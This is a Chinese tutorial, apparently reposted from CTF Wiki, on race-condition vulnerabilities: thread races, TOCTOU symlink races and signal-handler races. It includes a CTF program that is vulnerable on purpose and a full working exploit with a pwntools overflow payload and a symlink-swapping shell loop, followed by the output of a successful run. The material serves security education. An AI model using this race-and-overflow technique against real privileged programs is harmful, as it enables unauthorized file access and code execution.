概述
原理
条件竞争就是两个或者多个进程或者线程同时处理一个资源(全局变量,文件)产生非预想的执行效果,从而产生程序执行流的改变,从而达到攻击的目的。
条件竞争需要如下的条件:
- 并发,即至少存在两个并发执行流。这里的执行流包括线程,进程,任务等级别的执行流。
- 共享对象,即多个并发流会访问同一对象。常见的共享对象有共享内存,文件系统,信号。一般来说,这些共享对象是用来使得多个程序执行流相互交流。此外,我们称访问共享对象的代码为临界区。在正常写代码时,这部分应该加锁。
- 改变对象,即至少有一个控制流会改变竞争对象的状态。因为如果程序只是对对象进行读操作,那么并不会产生条件竞争。
条件竞争常见方法
线程、进程访问同一资源
给个例子:
#include <pthread.h>
#include <stdio.h>
int counter;
void *IncreaseCounter(void *args) {
counter += 1;
sleep(0.1); //Race window
printf("Thread %d has counter value %dn", (unsigned int)pthread_self(),
counter);
}
int main() {
pthread_t p[10];
for (int i = 0; i < 10; ++i) {
pthread_create(&p[i], NULL, IncreaseCounter, NULL);
}
for (int i = 0; i < 10; ++i) {
pthread_join(p[i], NULL);
}
return 0;
}
创建10个线程,常理说应该线程应该按从小到大的顺序输出相应顺序的数字,但是由于counter是全局共享的资源,在race window的间隙里面可能多个线程对counter进行写、读操作,导致输出结果很难预料,如下:
➜
005race_condition ./example1
Thread 1417475840 has counter value 2
Thread 1408755456 has counter value 2
Thread 1391314688 has counter value 8
Thread 1356433152 has counter value 8
Thread 1365153536 has counter value 8
Thread 1373873920 has counter value 8
Thread 1382594304 has counter value 8
Thread 1400035072 has counter value 8
Thread 1275066112 has counter value 9
Thread 1266345728 has counter value 10
Race Condition Enabling Link Following
原理是来源于文件两种不同命名方式
- 文件路径名
- 文件描述符
但是,将这两种命名解析到相应对象上的方式有所不同
文件路径名在解析的时候是通过传入的路径(文件名,硬链接,软连接)间接解析的,其传入的参数并不是相应文件的真实地址 (inode)。
文件描述符通过访问直接指向文件的指针来解析。
由于这种间接性,产生了时间竞争窗口race window,程序在访问某个文件之前,会检查是否存在,之后会打开文件然后执行操作。但是如果在检查之后,真正使用文件之前,攻击者将文件修改为某个符号链接,那么程序将访问错误的文件。
见下面的题目例子:
//gcc -o file file.c -fno-stack-protector 关闭canary
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
void showflag() { system("cat flag"); }
void vuln(char *file, char *buf) {
int number;
int index = 0;
int fd = open(file, O_RDONLY);
if (fd == -1) {
perror("open file failed!!");
return;
}
while (1) {
number = read(fd, buf + index, 128);
if (number <= 0) {
break;
}
index += number;
}
buf[index + 1] = 'x00';
}
void check(char *file) {
struct stat tmp;
if (strcmp(file, "flag") == 0) {
puts("file can not be flag!!");
exit(0);
}
stat(file, &tmp);
if (tmp.st_size > 255) {
puts("file size is too large!!");
exit(0);
}
}
int main(int argc, char *argv[argc]) {
char buf[256];
if (argc == 2) {
check(argv[1]);
vuln(argv[1], buf);
} else {
puts("Usage ./prog <filename>");
}
return 0;
}
编译关闭pie、canary。
分析:
可以看出程序的基本流程如下
- 检查传入的命令行参数是不是 “flag”,如果是的话,就退出。
- 检查传入的命令行参数对应的文件大小是否大于 255,是的话,就直接退出。
- 将命令行参数所对应的文件内容读入到 buf 中 ,buf 的大小为 256。
看似我们检查了文件的大小,同时 buf 的大小也可以满足对应的最大大小,但是这里存在一个条件竞争的问题。
如果我们在程序检查完对应的文件大小后,将对应的文件删除,并符号链接到另外一个更大的文件,那么程序所读入的内容就会更多,从而就会产生栈溢出。
程序提供了showflag函数,可以通过溢出,覆盖main函数的返回地址为showflag地址得到flag,运行生成攻击溢出的脚本:
➜
racetest cat payload.py
from pwn import *
test = ELF('./test')
payload = 'a' * 0x100 + 'b' * 8 + p64(test.symbols['showflag'])
open('big', 'w').write(payload)
# 生成big文件用于替换原始文件
替换原始文件为更大文件(攻击文件big):
➜
racetest cat exp.sh
#!/bin/sh
for i in `seq 500`
do
cp small fake
sleep 0.000008
rm fake
ln -s big fake
rm fake
done
➜
racetest cat run.sh
#!/bin/sh
for i in `seq 1000`
do
./file fake
done
在上面sleep(0.000008)间隙里面,有可能通过check的检查,链接fake文件为big文件,使读取文件内容超出最大范围,导致溢出。
在同目录生成一个flag文件,内容为:flag{good-good}flag{good-good}flag{good-good}flag{good-good}flag{good-good}flag{good-good}
运行:(sh exp.sh &) && sh run.sh
如下:
open file failed!!: No such file or directory
file size is too large!!
open file failed!!: No such file or directory
open file failed!!: No such file or directory
open file failed!!: No such file or directory
flag{good-good}flag{good-good}flag{good-good}flag{good-good}flag{good-good}flag{good-good}
Segmentation fault (core dumped)
open file failed!!: No such file or directory
file size is too large!!
关键在控制sleep的时间,过长导致替换失败,程序退出;过短有可能通不过check的检查。
Signal Handler Race Condition
条件竞争经常会发生在信号处理程序中,这是因为信号处理程序支持异步操作。尤其是当信号处理程序是不可重入的或者状态敏感的时候,攻击者可能通过利用信号处理程序中的条件竞争,可能可以达到拒绝服务攻击和代码执行的效果。比如说,如果在信号处理程序中执行了 free 操作,此时又来了一个信号,然后信号处理程序就会再次执行 free 操作,这时候就会出现 double free 的情况,再稍微操作一下,就可能可以达到任意地址写的效果了。
一般来说,与信号处理程序有关的常见的条件竞争情况有:
- 信号处理程序和普通的代码段共享全局变量和数据段。
- 在不同的信号处理程序中共享状态。
- 信号处理程序本身使用不可重入的函数,比如 malloc 和 free 。
- 一个信号处理函数处理多个信号,这可能会进而导致 use after free 和 double free 漏洞。
- 使用 setjmp 或者 longjmp 等机制来使得信号处理程序不能够返回原来的程序执行流。
不可重入函数可能导致条件竞争,可重入函数一定是线程安全的。
线程安全
即该函数可以被多个线程调用,而不会出现任何问题。
条件:
- 本身没有任何共享资源
- 有共享资源,需要加锁。
可重用
- 一个函数可以被多个实例可以同时运行在相同的地址空间中。
- 可重入函数可以被中断,并且其它代码在进入该函数时,不会丢失数据的完整性。所以可重入函数一定是线程安全的。
- 可重入强调的是单个线程执行时,重新进入同一个子程序仍然是安全的。
不满足的条件:
- 函数体内使用了静态数据结构,并且不是常量
- 函数体内使用了 malloc 或者 free 函数
- 函数使用了标准 IO 函数。
- 调用的函数不是可重入的。
可重入函数使用的所有变量都保存在调用栈的当前函数栈(frame)上。
参考
CTFWIKI
最后
以上就是真实唇膏为你收集整理的条件竞争原理条件竞争常见方法参考的全部内容,希望文章能够帮你解决条件竞争原理条件竞争常见方法参考所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复